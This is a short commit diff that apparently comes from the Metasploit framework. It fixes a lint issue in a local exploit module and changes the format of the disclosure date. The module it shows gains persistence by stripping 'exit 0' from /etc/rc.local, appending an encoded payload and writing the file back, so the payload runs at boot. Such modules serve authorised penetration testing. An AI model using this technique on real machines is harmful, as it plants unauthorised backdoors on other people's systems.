Fix msftidy

GSoC/Meterpreter_Web_Console
Eliott Teissonniere 2018-07-16 11:55:37 +02:00
parent c84eb9fee9
commit 7df20539af
1 changed files with 4 additions and 4 deletions

View File

@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Local
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
'DisclosureDate' => 'Oct 1980', # The rc command appeared in 4.0BSD.
'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0
))
@ -37,17 +37,17 @@ class MetasploitModule < Msf::Exploit::Local
def exploit
print_status('Reading /etc/rc.local')
# read /etc/rc.local, but remove `exit 0`
rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')
# add payload and put back `exit 0`
rc_local += [
"", # makes sure there is a newline
payload.encoded,
"exit 0"
].join("\n")
# write new file
print_status('Patching /etc/rc.local')
write_file('/etc/rc.local', rc_local)